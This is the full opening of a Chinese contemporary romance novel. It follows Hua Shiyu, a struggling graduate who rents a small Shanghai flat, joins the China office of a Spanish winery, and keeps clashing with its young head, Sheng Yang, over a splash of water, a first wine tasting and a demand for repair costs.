《花小姐不迷茫》
1. 福水
上海,高层居民楼,青年旅舍。
哗啦——
天刚蒙亮,隔壁床的女生不知道第几次上厕所了。
“好的王导,只要能露脸就行,我马上来,马上来。”
对面床的女生在这卧了一个月,终于得到了一个可以露几秒脸的群演工作。
咔嚓——
门突然被开,花诗雨躺在上铺,半眯着眼瞄了下门口,进来一个手夹香烟、鼻带环、唇带钻的朋克风女生。
花诗雨提起被子,蒙住头,尝试与这里的一切隔绝,可噪音依旧。她一个早睡早起,有轻微洁癖的人,在这里过渡的一周,每一天都是煎熬。
奈何穷让她对很多东西都望而却步,包括几百块的旅馆。
花诗雨打开手机,滑看朋友圈,见到妹妹转发了一则招聘链接。
妹妹一岁的时候,经在这做务工的远方亲戚牵线,被这的一对高知富人夫妻抱养了,至那以后,花诗雨再未见过妹妹。后来花诗雨托那位远方亲戚去打听了妹妹的联系方式,她便如愿加上了妹妹的微信,但是她从未打扰过妹妹,也幸好妹妹没有清理陌生人的习惯。
关于妹妹发的一切,花诗雨都会关注。她点进妹妹发的招聘链接,发现是西班牙酒庄中国分部招聘品宣专员,算是与自己所学的西班牙语专业搭了点边,她便毫不犹豫地投了简历。
接着,她放下手机,塞上耳塞补觉。
吱吱吱----
花诗雨被第一通电话吵醒,她迷迷糊糊接起:“喂,您好。”
对方兴奋分享:“花小姐,您昨天在星光苑看的那套一室一厅,房东老太太同意二千八租给您了。”
花诗雨激动弹起:“真的啊?”
“真的,她说看你有眼缘,就决定租给你了,但是家具她不提供,需要您自己添置。”
“没问题!”市场价三千多的房子,二千八就租给她,她一点问题都没有,“今天可以搬过去吗?”
“要等到星期天欸,老太太说她等会要去外地一趟,星期天下午才回来。”中介说,“您先转一千块钱定金给我,我现在就去找她,把钱转给她,她收了您的定金就不会轻易反悔了。”
“好嘞!”
花诗雨立马转了一千块钱过去,随后躺在床上,在京东上买小冰箱、小洗衣机,在闲鱼上挑选二手家具,在阿里巴巴上买些软装用品等。
东西买到一半,又一个电话打来,她连忙接起:“喂,您好。”
对方声音温柔:“我是CieloRojo酒庄中国代表处的人事,请问您是花诗雨吗?”
“是的,我是花诗雨,早上刚向贵公司投了简历。”
“对的,想邀请您上午过来面试,方便吗?”
难得的机会,花诗雨怕错过,遂应道:“那上午十点半可以吗?”
“可以的,我已经把我司信息发到你邮箱了,待会见哦。”
“好滴,待会见。”
花诗雨迅速起身,换上了那条花三百重金新买的白色连衣裙,简单涂了个防晒霜就出门面试了。
人事一面后,当即就让市场部总监二面了。
走出CieloRojo办公室所在大厦时,花诗雨人还是懵的,公司是她突然投的,都没来得及做准备。面试中所问道的葡萄酒的知识她几乎答不出,只记得人事对她很亲切,市场部总监看她的目光里有怜悯,前台给了她一个粉色信封,说是面试路费补贴。
花诗雨打开粉色信封,取出里面崭新的二十块钱和一张卡片。
卡片上用汉语、西班牙语和英语三种语言写着同一句话:
[期待与您共事。若未能如愿,不代表您不优秀,而是您有更广阔的天地。
Esperamosconinteréslaoportunidaddetrabajarconusted.Denoserasí,leaseguramosquenoreflejafaltadecapacidad,sinoquesustalentosmerecenunhorizonteaúnmásamplio.
Whilewearekeentoexploreapartnership,pleaseunderstandthatanyalternativedecisionmerelysignifiesourbeliefinyourpotentialtothriveinmorefittingendeavors.]
如此有人情味的公司,哪怕最后不被录取,花诗雨也能记住一辈子。
花诗雨用这二十块钱在便利店吃了份盒饭,剩下的五块钱去买地铁票。她本想直接买票到青年旅舍,却看到了旁边偌大电子屏上的明清古宅酒店广告:上海郊外宁静桃源一隅----花溪村古宅度假区。
连花溪村的名字都还保留着。
她走过去,驻足在电子屏前,望着承载她整个童年的故乡老宅,想去看看她们移到这里是否也安好。
地铁到站后,还需打车三公里才到花溪村古宅度假区的入口。入口从一条约一米宽的石板小路开始,小路尽头是高门大院。路两面则是翠绿的草坪,草坪上长着几棵樟树,尤其是那棵绑了红丝带的庞大千年古樟树,一眼就能让人注意到它。
有一群穿白色长衫的老头老太把千年古樟树围了一圈,各个站那对着古樟树双手合十,闭目求神。
路上有工作人员介绍说:“花溪村整个度假区有十八栋明清古宅,均从安西省乐宁市花溪村平移过来的。先是把古宅拆解,一砖一瓦做好标记,然后在这里重建,一比一复原。眼前这棵千年古樟树也是从花溪村连根带树迁移过来的,当年为了把这棵树从花溪村运到这里,拆了好几个高速收费站...”
这人介绍的内容,其实花诗雨在十岁时就听过了,也亲眼目睹了这棵树被众人挖走。
花诗雨一步一步向这棵树走近,插缝站在老头老太的中间,仰头望着这棵熟悉的树。
童年的画面一幕又一幕在她脑海里浮现,坐树底下唠嗑的女人们,从地里农作回来在树底下歇脚的男人们,绕着树捉迷藏的孩童们。
还有她的外婆,时常在这树底下来几嗓子戏腔。
有关这棵树的记忆,在她十岁那年戛然而止了。
“来来来,”有个带头的老头喊,“舀一瓢井水洒向古树吧,去去霉运,迎迎福气。”
那些个老头老太依次舀树前井里的水洒向树根,花诗雨怎么都没想到从前村民乘凉的大树在这却变成了众人祈福的千年古树。
这棵树在她故乡村口生长了一千多年,如今移种到这里,它依旧能枝繁茂盛,说明它有神庇佑,有灵性。
花诗雨有时候也信这些,她也想去去前二十一年的霉运,希望往后的日子能够幸运些。
于是,她学着其他人在身后的水井里舀了一瓢水,随之转身一洒。
忽然,一个边看手机边快速行走的男人闯入,水一点没洒到古树上,全被这男人挡了。
突然被泼了一身水,男人瞬间愣在原地,非常无语地闭了下眼,再低头检查自己的西装,胸前
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、腹部和胳膊都湿了一片,手上的手机屏幕上还覆了一层水。
花诗雨支支吾吾道歉:“不...不...不好意思啊。”
男人转过脸来,眼中怒火在触及花诗雨第一眼时雪霁云开,眼底瞬时漾开一片柔波。
不过下一秒,他眼中就找不出一丝涟漪了。
花诗雨局促地垂下头,目光躲闪着不敢看他,生怕在这陌生城市惹上是非,慌忙找补:“遇...遇水则发。”
只见他骨节分明的手不慌不忙地顺了顺被水打湿的西装,花诗雨赶紧从包里抽了张纸巾递到他手边:“要不擦擦?”
他一直没接她的纸巾,甩了甩手机上的水。
花诗雨缓缓抬眸看他,浓眉大眼,鼻梁高挺,骨相天成,身姿挺拔,就是那张脸不近人情,面无表情地瞥了她一眼就走了。
花诗雨转头看了眼后边才半米远的人行道,小声嘀咕道:“明明人行道就在旁边,非要闯过来,走路还看手机,别人泼水的时候不出现,到我洒水的时候就突然出现,我的福气都被你挡了。”
她以为他听不到,结果他忽然回过头来,嘴角向上触动想说什么,手里的手机就震动了,他盯了她一眼就接着电话走了。
花诗雨在后面有听到他对电话里的人说:“奚涧,市场部门要招什么样的人,你自己决定就好,不用过问我。”
不知道对方汇报了句什么,他回道:“拟定的酒单需要再换换,这次品鉴会以年轻女性为主,她们会更偏爱甜酒,等我明天去公司了再讨论吧。下午没空,被一个蠢大学生泼了一身水。”
花诗雨朝下看了看自己的穿着,白色连衣裙和白板鞋,确实一副清贫女大学生的模样,但怎么就“蠢”了呢?
算了,懒得跟不相干的陌生人过多计较。
不过听电话内容,他好像是葡萄酒公司的大领导,而且上午面试她的市场总监也是一位姓“奚”的中年男人。
他走后不到一分钟的时间,花诗雨包里的手机也响了,她取出手机看了眼,正是上午邀她面试的电话,她便紧张起来,屏住呼吸点了接听键。
电话里人事的语气依旧很亲切:“花小姐,你好,我是上午见过面的Molly,我们市场部总监非常喜欢你哦,现诚邀你加入我们CieloRojo的中国团队。”
花诗雨有点不敢相信自己的耳朵,“我...真的应聘上贵司了?”
“是的,CieloRojo中国团队市场部期待你的加入。”
“好的,我愿意加入。”
“欢迎,但有一点我要事先讲清楚,我们公司任何一名员工,转正之前都是要通过Wset二级考试的,获得Wset二级证书之后,上级再会综合考虑是否转正。公司会统一为你们报名Wset培训课程,费用先由你们自己垫付,转正后,公司再报销。如果未能考上或者考上了却自动放弃转正的话,公司只能报销一半费用。”Molly问:“这些你能接受吗?”
“没问题。”花诗雨一口答应。刚在地铁上她就已经在网上了解了Wset考试,Wset是全球最具权威性的葡萄酒与烈酒认证体系之一,分四个等级,一级是入门,二级是从业者基本要具备的,三级是专业人士,四级是行业专家。小白学两三个月也会通过Wset二级,她对自己的学习能力还是有信心的。
Molly:“那你这边最快什么时候入职呢?”
“下周一就可以。”
“好的,Offer已经发到你邮箱了。”Molly说,“周一见哦。”
“周一见~”
2. 是你
周日傍晚时分,花诗雨拖着大包小包到了星光苑,一个拆迁安置小区,且她所租住的那栋楼是没有电梯的楼梯房。
房东老太太和中介已经在一楼门口等了,中介协助好他们签完合同就走了。
房东老太太看着她成堆的行李,说道:“小姑娘,侬东西可多咧,带了嘎许多,还买了嘎许多。”
花诗雨问:“对了阿姨,我买的东西快递员有帮我搬进屋子里吗?我本来是让他放代收点的,他说都帮我搬进屋了。”
“我让他都帮你搬进去了。”房东老太太把钥匙给她,“钥匙给你了。”
“谢谢阿姨。”花诗雨接过钥匙,拎起其中一个大行李箱,斜着身子艰难爬楼。
房东老太太站在下边,望着这个瘦弱的小姑娘往上搬行李,前胸后背的大背包把她整个人都夹住了,没走一步都大喘气几次。
老太太想去帮忙,但自己腿脚不好,心疼道:“小姑娘,你爸妈要是知道你般辛苦,要心疼死的。”
花诗雨停下,回过头来对老太太笑了笑说:“我妈在我两岁的时候就去世了,我爸早就有新的家庭了,跟我没有瓜葛了。”
“这...”房东老太太一时语塞,为自己的多话而感到抱歉,顿了会后才问道:“那小姑娘你跟谁生活的呀?”
“跟我外公外婆。”花诗雨把箱子搬到门边,卸下身上的包,再快速下楼准备搬一个行李箱,“不过我外公在我小学的时候就去世了,我外婆在我高考前夕去世了。”
听到这个,老太太心都沉了下,不敢再多问了,这小姑娘太命苦了。
花诗雨倒是一副乐观模样,提起箱子边上楼边说:“阿姨,押一付三就是一万一千两百,扣除之前交的一千元定金,我还需要给您一万零两百块,我待会把东西搬进去了就转您。”
“没事,不急。”房东老太太问:“你吃晚饭了伐?”
“还没呢,”花诗雨把门打开,把行依次推进客厅,“想着等会弄好后随便吃点。”
“这样啊。”
“阿姨您早点休息哈,我先收拾东西了。”
花诗雨关上门,掐着腰歇气,重新环视了一下自己租的这个房子。老太太首次出租这房子,木板是去年新铺的原木地板,墙也是去年重新刷的大白墙,整体空间不大,不到五十平。
最大的是卧室,带了一个露台;客厅不大,放一张沙发、一张桌子、一个冰箱以及留条过道就差不多了;厨房连着卫生间,都很小,两个成人在里面的话,转身就能碰到。
不过她很知足,也很期待自己的这个小空间。
接下来她把自己买好的家具等都拆了,一点点填满这个空荡荡的家。
一小时后,门外传来房东老太太的喊声:“小姑娘,你开下门。”
花诗雨前去开门,老太太双手端着一碗雪菜肉丝面,上面还铺了一块炸猪排。老太太满脸笑意道:“小姑娘,我猜你肯定没时间开火,阿婆给你煮了碗面,趁热吃。”
就这么一瞬,花诗雨鼻尖就发酸了,已经很久没有人关心她有没有吃饭,很久没有人给她煮东西了。
“是不喜欢吗?”老太太朝下看了眼自己手里的面,想起来说:“哎,我都忘记了你是安西人,听说你们安西人爱吃辣吃米粉。”
“不是不是,”花诗雨忙摇头,双手接过老太太的面条,“我不挑食,您煮的这个看着就好吃,我就是太感动了。”
“哎,小姑娘别见外,以后都是邻居了,互相照应应该的呀。”
花诗雨点头,照着老太太刚刚对她自己的称呼喊:“嗯嗯,杨阿婆您以后有什么需要帮忙的,尽管找我。”
“那我就不客气了,不打扰你了,碗你明天给我就行。”
“好的,谢谢杨阿婆。”
花诗雨站在门口目送房东老太太下楼,她下到一半又回过头来说:“忘记正事了,你不用一下子付我三个月房租,一月一付就行了,你一个无亲无故的小姑娘在这里也不容易。”
花诗雨感动点头,她确实很需要钱缓冲。
在来上海之前,花诗雨就在网上刷到过很多网友对这的人的评价,什么排外,看不起外地人,还说上海老太太是最难搞的群体。
但是这几天来看,她并不觉得,热情的路人、善良的房东老太太都让她感受到了这座城市的温情。
吃完面,她便继续干活,把屋子里里外外擦了一遍,地全拖了一遍,给床铺上了自己在大学时就在用的被单被罩。
忙好这些已是深夜,虽累但快乐。就连洗澡的时候她都还在想要如何布置这个家,露台要种些盆栽,卧室要装一个投影......
半夜躺在床上,被子是她熟悉的味道,舒适且安心。
从小到大,她就没有拥有过自己的房间,小时候她都是跟外婆一起睡,大学住校,一直有室友。
而这个房子,这个房间,是她真正意义上拥有的第一个属于自己的个人房间,哪怕是租的。
这一刻,她无比自由。
**
周一,早九点。
花诗雨早早出现在CieloRojo办公室门口,办公室玻璃门却还紧闭着,里面也无灯光。
Offer上写的是九点半报道,她以为他们是九点上班,还想来早点提前熟悉环境,看来自卷的机会都没有。
花诗雨只好站公司门口等候,百无聊赖中,她掏出手机刷朋友圈。
首页第一条便是妹妹昨夜发的一张照片,照片里她挽着一个男生的胳膊靠在机车前,两人都戴着厚重头盔,头盔上面都含有一小串英文单词,不知道是定制情侣款还是头盔品牌Logo,但他们看起来是情侣。
妹妹配文:我说我也要学摩托车,但盛仰不让(生气)。
“叮”,电梯门开。
花诗雨低头刷着手机,余光里瞥见一双蓝白相间的板鞋朝这边走来——鞋面纤尘不染,白得晃眼。她以为是隔壁公司的员工路过,并未在意。
直到这双脚在她面前停下,她才缓缓抬头,注意到来人手里拿着一个和妹妹朋友圈里一模一样的头盔。视线再对上的那一刻,她愕然傻眼了。
他轻嗤一声:“遇水则...‘发姐’?”
“发姐”二字他还加重音了。
“我...我...”花诗雨紧张的语无伦次,实在没想到在这里都能遇见他。
他食指往边上撇了下,示意她往边上去,“起开!”
“啊?”花诗雨往身后看了眼,原来是挡了读卡器,便迅速挪开身体,“哦,不好意思。”
“嘀”得一下,他刷卡进去了,办公室也在他手下的开关下瞬间明亮。
“叮”,电梯门再次打开.
Molly从里面出来,见到花诗雨就笑盈盈地迎过来:“诗诗,你这么早就来了呀!”
果然是做人事的,自然熟,让人没有距离感。
花诗雨手微微指向办公室里面的人的背影,问道:“Molly姐,他也是我们公司的同事吗?”
Molly随花诗雨的视线望去,“哦,他是我们中国区的负责人呀,叫盛仰,和你一样没有给
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自己英文名,我们都直接称呼他为‘老板’。”
“盛开的‘盛’,仰望的‘仰’?”
“对呀。”
“他他他...他是我们老板?”花诗雨难以置信地问。
“对呀,觉得他这么年轻,有点不敢相信对吧?你放心好了,他相当有能力。”Molly介绍说,“他二十一岁就从英国本硕毕业了,然后进入了CieloRojo西班牙总部的市场部,在那待了两年多,前年调回上海了,作为中国区的负责人,去年中国分部在他的带领下业绩翻了一倍。反正啊,跟着他干一时半会不会失业的。”
“我不是怀疑老板的能力,我是...”花诗雨实在不好意思说出自己上周泼了老板一身水的事。
“放心放心,他没什么老板架子,我毕业工作十几年了,换了几家公司,在他手底下干活感觉最舒服。”Molly拉着花诗雨的手往里带,“走吧,我带你参观一下我们办公室,待会办理入职。”
花诗雨硬着头皮跟人事进了办公室,入眼便是前台,前台右边的玻璃橱柜里摆满了CieloRojo在国际上获得的奖项,左边则是一面关于CieloRojo的介绍,根据介绍内容得知:CieloRojo为百年家族传承酒庄,在西班牙几个经典产区都有酒庄,其中在里奥哈产区的酒庄为全国最大、历史最悠久的酒庄,且连续多年被评为世界十大顶级酒庄之一,所生产的葡萄酒为皇室御用。同时,CieloRojo发展了酒庄旅游等周边产业。
再进去就是办公区域了,除去茶水间、会议室、待客室和老板办公室是单独的空间外,剩下的就是公共办公区域,办公桌是便于沟通的开放式长条桌,整体比较简约。
Molly走到市场部门那张办公桌边,拉开一个走廊边上的空位下的椅子,“不然你就坐这吧,刚好对面坐着的就是你们部门老大,你们好沟通。”又指着侧边窗户底下那一排什么都没放的桌子,“那边是流动工位,你想去那里办公也行,不限制。”
“好的。”花诗雨左右环顾了一下,这快到九点半了,才有一两个人进来,便问:“我们上班时间应该是九点半吧。”
“我们弹性上班时间,上班是九点半到十点,下班是五点半到六点,早一点晚一点都没事,待够八小时就行。”Molly说,“每周有一到两天的居家办公机会,根据部门领导来安排时间。”
花诗雨心里漾起一丝窃喜——这样的上班时间最合心意,可以腾出好多时间做自己的事情。
“老板,”Molly向后面走来的盛仰招了招手,“给你介绍一下奚涧部门的新员工。”
盛仰捏着小瓶纯净水走过来,上下打量几眼花诗雨,转而问Molly:“这么...‘原汁原味’的大学生,你上哪找的?”
花诗雨听出来了,这八成是在说她土。如今她也硬气不起来了,视线微微向下,尴尬咬唇。
“人家投简历的呀,西班牙语专业的,奚涧面试后就立马跟我们说要她了。”
“大学哪里读的?”盛仰看着花诗雨问。
Molly刚想替花诗雨回答,他就盯着花诗雨说:“让她自己回答。”
“广安外国语大学。”她回答的声音跟上周在背后嘀咕他的声音一样小。
末流二线城市的双非一本,交流作用的小语种专业,未经修饰的素颜天然脸,简单朴素的穿着,偶尔闪躲的眼神。
根据这些,盛仰也能推断出她家境一般,不谙世事,底气不足。他嘴角微微触动,欲言又止,还是不想给人贴上标签。
3. 品酒
“哎——不许欺负我部门小朋友。”奚涧握着杯咖啡大步走来,电脑包松松提在手上。微微发福的身材把Polo衫撑出圆润弧度,笑说:“老板,不是你自己说的我部门招什么人由我自己决定么?”
Molly向奚涧招手:“奚涧,你终于来了。”
花诗雨看到奚涧,一时不知如何称呼自己部门领导。喊奚总,显得客套;学他们喊奚涧,显得没礼貌。眼看奚涧已经到他们这了,她连忙颔首:“奚老师早”。
奚涧在他们面前止步,对盛仰说:“你看,我们部门小朋友多有礼貌,多灵活啊。”
“我又没说什么。”盛仰进了自己办公室。
花诗雨心头一紧,她的工位与盛仰的办公室隔廊相望,稍一抬头就能看到全透明玻璃门内外的彼此,莫名有种压迫感。
奚涧把咖啡递给花诗雨:“拿去喝吧,给你买的,CR欢迎你。”
尽管花诗雨不爱喝咖啡,但她仍双手接过,“谢谢奚老师。”
“给你配置的电脑,IT待会会给你拿过来,我去给你拿套办公用品,下午会议上我把你介绍给大家认识。”Molly拍了拍花诗雨的肩膀就先走了。
“坐下吧。”奚涧走到花诗雨对面工位,拉开电脑包,取出笔记本电脑架在电脑支架上,再坐下,“别把老板的话太放心上,我十分看好你。”
奚涧坐下之后,花诗雨才敢坐下,帆布包放在腿上,咖啡放桌上,端端正正坐着。
奚涧一坐下就投入了工作,好在他们工位中间本就有块银色隔板,再加上立起的电脑屏幕,几乎看不到对面人的脸,花诗雨此时无事可干的尴尬也可以避免被他看到。
坐了好一会,办公室陆陆续续进来了人,就是她旁边的工位一直没来人。
花诗雨稍稍侧头去观察了下旁边工位,粉色的电脑支架,粉色的鼠标垫,粉色的水杯,粉色的小手办,粉色封面的笔记本等等,心想这一定是一位可爱的女生。
奚涧头移出电脑屏幕,手撑着太阳穴,对那个粉粉的工位抬了抬下巴,介绍说:“你旁边的也是我们部门的,负责通路营销。她英文名叫Emily,管叫她‘爱美丽’就行。”
“Emily今天是休假了吗?”
“嗯,休婚假,跟她博士老公到新疆度蜜月去了。”奚涧顺带问道:“诗诗,你有男朋友吗?”
花诗雨摇头:“没呢。”
“在这踏实干,回头我给你介绍一个我们本地的小伙子。”
“踏实干会的,男朋友就随缘...吧。”
“你说得对,你才二十出头,还是体验为先。”
盛仰从办公室出来,向奚涧招了下手,示意他跟过来,“去尝尝YD的新品。”
YD是南欧另一国家的知名酒庄,与CR酒庄是同行也是对家。
奚涧起身,拍了下花诗雨的肩:“带你喝两口去。”
上班喝酒,这是花诗雨没想到的,不过想想这本就是葡萄酒公司,上班喝喝酒也是工作,她便听话跟上。
来到茶水间,其实更像一个小型酒馆,只是灯光较酒馆更为明亮,摆的原木桌椅也比酒馆的深色系桌椅更柔和。有一个吧台,吧台后面是一面十几平米的大酒柜,酒柜共有五层,最上一层横放着一排酒,次上一层倾斜放着一排酒,中间一层竖放着一排酒,下面两层放着不同形状的杯子、醒酒器以及海马刀等。
看酒摆放的位置,花诗雨也能猜出最上两层应是较为名贵的酒。
盛仰走到吧台里面,吧台上两个醒酒器里都装了些酒,他往身后依次取了六个杯子出来,对奚涧说道:“早上醒了两瓶酒,一瓶YD酒庄的新品,一瓶我们酒庄的新品醇白,你盲猜对比一下。”
“我只会盲喝,不会盲猜。”奚涧拉开吧台前的椅子,先邀花诗雨坐下,“让我们小朋友先尝一下。”
“我...”花诗雨轻缓坐下,怯怯坦白:“我从小到大都没喝过葡萄酒,只喝过几次自家酿的米酒。”
“那刚好,带你打开新世界大门。”奚涧拉开花诗雨旁边的椅子坐下,“其实我们卖酒的也不一定非要能喝酒,能把酒卖出去才是王道。”
盛仰没搭他们的话,提起其中一个醒酒器,往其中三个杯子里都倒了一口量的酒。
奚涧问起:“你上周被一个蠢大学生泼了一身水啊?”
花诗雨瞬间埋下头去,耳根烧得通红,恨不得找到地缝钻进去。
“嗯,毁了我一套西装、一块手表。”盛仰修长的食指和中指夹着高脚杯的杯茎,将其中一杯酒推给奚涧,余光瞥了眼低着头的花诗雨,“也不知道你上哪找的...”
“找的什么?”奚涧接过他的酒,问道。
“没什么。”他终究还是没把后半句“这么蠢的大学生”说出来。
“现在有些小朋友是很莽撞,很没礼貌。”奚涧把自己的酒推到花诗雨前面,夸道:“不像我们部门的小朋友,真诚有礼。”
盛仰抱胸看着花诗雨:“是吗?”
“老板,你这是干吗?我选的人还会错啊?”奚涧两根手指碰了碰盛仰的酒杯,“品酒啊。”
“这两款酒都年轻,没经过橡木桶陈年,其实没什么好品的。”盛仰提起另一个醒酒器,倒了点在比刚刚小一号的空杯子里,给到奚涧:“两种你都尝一下,分辨一下。”
“诗诗,你来。”奚涧把盛仰刚倒的酒又一次推到花诗雨面前,“每杯喝一口,告诉我们区别。”
花诗雨看着眼前这两杯酒,每杯都三分之一的量,颜色类似,都是果绿色。
她先拿了小号那杯,喝之前也没有观察杯壁和闻气味等步骤,就直接一口喝了。
奚涧问她:“什么味道?”
首次喝葡萄酒,她描述不出来具体味道,尴尬地笑了笑说:“我就喝出了甜味和果味。”
“这是甜白葡萄酒,当然会有甜味和果味。”奚涧手指在空中比划了下,“具体一点的,比如苹果味啊,西柚味啊。”
“啊?这么具体吗?”
“你卖酒给别人的时候,难道只介绍说这酒很甜,果味很重?”盛仰反问她,“如果顾客问起你这酒怎么个甜法,什么样的果味,你要怎么回答?”
“老板,别这样,人家第一次喝葡萄酒,不知道怎么描述很正常。”奚涧打圆场说,“诗诗,你先闻一下,再喝一口,然后告诉我们你喝出了什么味道。”
“好的。”花诗雨重新拿起刚才那杯酒,杯口放在鼻尖下闻了闻,然后小抿了一口。这回她把一点酒含在嘴里,慢慢回味。
奚涧一脸期待地看着花诗雨,等她咽下去后,就问:“什么味道?”
“en...”花诗雨想了想说:“好像有点橘子的味道,但又带一点点涩味。”
奚涧也倒了一点花诗雨刚喝的那款酒,闻了下,再大抿了口,随后露出满意微笑:“对,就是你描述的这个味,但是我们有专有的描述词,橘子皮。”
花诗雨忙点头认同:“对对对,就是橘子皮味,闻起来和喝起来都像是这个味”
“那你记住了,顾客可以任意描述他自己喝出的味道,我们不能去否认顾客的感受。”奚涧耐心解释说,“但是我们作为葡萄酒从业者,葡萄酒的香味呢,它分一类二类三类,一般都有固定描述词汇的,我们给人介绍的时候尽量按照那些词汇来,不然显得我们不够专业。”
花诗雨似懂非懂地点点头,没想到小小的一口酒还有这么多花样。
“来,喝另一杯。”奚涧指着花诗雨面前那杯大号一点的酒,“再以你的直观感受告诉我们你更喜欢喝哪个。”
“好的。”
花诗雨刚想拿起那杯酒,就被盛仰喊住:“等下!”
他手伸向吧台边上,拨了一瓶纯净水过来。
“还是老板想得周到。”奚涧拿起那瓶水,用力拧,“喝口水,把嘴里的酒味去一下,好品尝下一杯酒。”
奚涧拧瓶盖的动作略大,不可避免地弹出几滴水在吧台上。
花诗雨便立马掏出自己的纸巾,轻轻地把水渍擦干净。
盛仰就看着她这小心翼翼的动作。
花诗雨喝了几口水,确保嘴里没有上杯酒的味道后才拿起另一杯酒。
这一次,她学着刚才的样子,先闻了闻,再小抿一口,细细品味,最后得出结论:“有柠檬的味道。”
奚涧也喝了一口,又夸:“你真厉害,一喝就喝出来了。”
盛仰略感无语,这都能夸,就想泼冷水:“怎么?她是没有味觉吗?”
奚涧:“小朋友需要多多赞美。”
盛仰没理奚涧,转而直接问花诗雨:“问你,哪个好喝?”
这难到花诗雨了,以她个人口味来讲,她更喜欢柠檬味的那款,但那款如果是Y
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D酒庄的酒的话,那就有点尴尬了。
奚涧突然说:“西班牙的道路旁都是橙子树啊橘子树啊,尤其是南方。”
这暗示,花诗雨一秒领会,回答道:“都很好喝,但每个人口味都不一样,我个人会喜欢第一杯的橘子皮味的多一点。”
橘子皮味的确实是CieloRojo酒庄的,她的回答也没有踩谁捧谁,盛仰还算满意,不再多说什么。
“诗诗,原来你在这啊。”Molly找来茶水间,“我还以为你跑了呢,IT帮你配好电脑了,你要不过来看看。”
花诗雨眼神请示旁边的两位领导。
“去吧。”奚涧抬腕看了眼手表,“快到饭点了,对面同安路的弄堂里,有一家你们老表开的小炒店,现炒的,味道不错,还实惠,你可以去那吃饭。下次等爱美丽回来了,我们部门再一起聚个餐。”
花诗雨道了声谢后就走了。
盛仰拿起杯子喝了口酒,不解问道:“听Molly说,应聘者中有不少有经验的,你怎么就选了一个什么都不懂的小白?”
“招人也看眼缘,我就一眼看中了花诗雨。”
盛仰都笑了,奚涧什么德性他还是了解的,在都符合条件的应聘者中,他一定是选他认为最好看的那个,“你的眼缘难道不是因为颜值?”
溪涧认识盛仰也有几年了,头一回听他夸人好看,回道:“是吧,连你这种眼光极高的人都觉得花诗雨颜值高,说明我眼光一点问题没有。水灵水灵的,现在街上都看不到这种纯天然的美女了。”
盛仰不否认,抛开其它不讲,他看到她的第一眼感受就是非常干净的好看,那双清亮的眼像是被春雨润过。
不过,他说:“我劝你不要对人家有想法,不要给人家小姑娘留下心理阴影。”
奚涧和老婆是开放式婚姻,这点公司所有人都知道。
“拜托,我虽然渣,但我也有底线啊,花诗雨才二十出头,比我女儿大个三四岁而已,我没那么禽兽。”奚涧属于早婚早育,而且他对自己的认知还是很清晰的,“我就从没找过低于二十八岁的小姑娘,找的也都是有那种心思的‘坏’女人。”
盛仰白了他一眼:“渣男还有等次之分?”
奚涧想反驳,却反驳不了,毕竟眼前这位年轻老板既不谈恋爱也不约。他一度怀疑盛仰是同,或者要往同的方向发展,再或者是那方面不太行。
“既然没有目的,就让她走,别浪费时间了。”盛仰把杯里的酒一饮而尽,随后起身把杯子放进旁边的洗手池里,并洗了把手,“看她那唯...她那样子,是应付不来那些难缠的客户的,说不定还会给她自己带来麻烦。”
奚涧不认同:“千万不要随便否定一个人,我也四十多了,见过不少人,谁行谁不行,我还是能看出点名堂的。”
“我没有说她不行,她可能在其它方面很优秀,但是不适合我们这行业。”盛仰在吧台里面的桌子上抽了两张擦手纸,手背手心反复擦。
“你知道我最看中她什么吗?”溪涧问。
盛仰擦着手,“嗯”了声,愿闻其详。
“真诚与坚毅。”奚涧先给出结论,再描述当时面试的场景,“在所有面试者当中,她的简历不是最优秀的,口才目前来讲也不是最佳的,葡萄酒都没喝过一口,但是她学习能力很强,没有任何海外学习经历,却能考出西语专八和C1、英语PETS-5。而且人非常的真诚,我看了她答的英语和西语的笔试题,笔迹端正,每道题都答,我只有高考才这么认真答过题。面试的时候,她端端正正坐在我面前,我问什么她答什么,我问她读书的时候有去西班牙交流吗,她很坦白地告诉我说没有,她说她大学都是贷款读的,生活费也是自己赚的,去过最远的地方就是这里。”
盛仰把擦手的纸捏成一团丢进脚边的垃圾桶,“怎么,你还想扶贫?”
“你听我说完。”奚涧继续道,“她那个眼神真的很真诚,很真诚,我已经很多年没见过那么真诚的眼神了,看得出来她很渴望这份工作。不光真诚,还透露着一股坚毅,应该是靠自己长大的孩子,我就想给这样的人一个机会。”
“行吧,你都这么说了,我没什么好讲的。”
奚涧提议:“我们打个赌吧,如果花诗雨没有让我们失望,那你把你家里那瓶酒王拿来给我尝尝,怎么样?”
“......”
4. 劝退
半下午的时候,奚涧关上电脑,站起来把电脑装进电脑包里,说道:“诗诗,我得先回去接女儿放学了,你要有事的话也可以先走。”
“没,我没事,我到下班了再走吧。”
“嗯,好。”奚涧提着电脑包在她身边站了几秒,“在这上班不必太拘谨,有任何困难都可以和我说的。”
“好的,谢谢奚老师。”
奚涧点头微笑,满意离开,心想这个小朋友真有礼貌。
下午五点半的时候,人都差不多走光了,只有会议室里还有几个人,是盛仰带着贸易部与总部开会。
花诗雨收拾好东西准备下班,盛仰刚好端着电脑从会议室里出来。为了不与老板同搭一趟下班电梯,她背起包,绕路跑出去了。
谁知那电梯迟迟不来,两部电梯,一部电梯被物业送货占用了,另一部上上下下就是不在他们这层停。
花诗雨站那等了好几分钟,电梯门终于开了,里面没人,可盛仰也快要从办公室出来,手里还提着早上的头盔。
真是怕什么来什么。
花诗雨进入电梯里,食指按着开门的键,想松开,让老板等下一趟电梯,但这样会显得自己既胆小又没礼貌,所以她还是一直按着开门键。
盛仰进来,道了声:“谢谢。”
“不客气。”花诗雨松开手指,也不多问,直接按了一层和负一层,反正他不是去一层就是去负一层骑他的车。
随后,她默默退到他侧身后的角落边,盯着上面电梯下落的数字,巴不得26层能在瞬间到底。
盛仰忽然回头看了一眼,并问:“你刚跑什么?”
“额...怕赶不上地铁。”人在紧张慌乱时脑子总是迟钝的,花诗雨也是。
“地铁三分钟一趟,最晚到晚上十一点,你赶的什么地铁?”
“呃...我...”她才反应过来地铁不用赶。
盛仰无语,把头回过去了。
想起泼水那事,花诗雨还是决定道个歉,希望在老板面前留个好印象,“老板,上周泼了您一身水,非常对不起。”
“说我挡你福气的时候不是挺硬气的吗?”盛仰脸稍侧向后,余光看她,“西服干洗五百,手表进水修理费两万,给你抹个零头,按两万算。”
两万???
花诗雨吓得倒吸一口气,把她皮扒了也赔不起的,交了房租之后,她浑身上下只剩三千来块钱的伙食费了,身上还背着两万块钱的助学贷款呢。
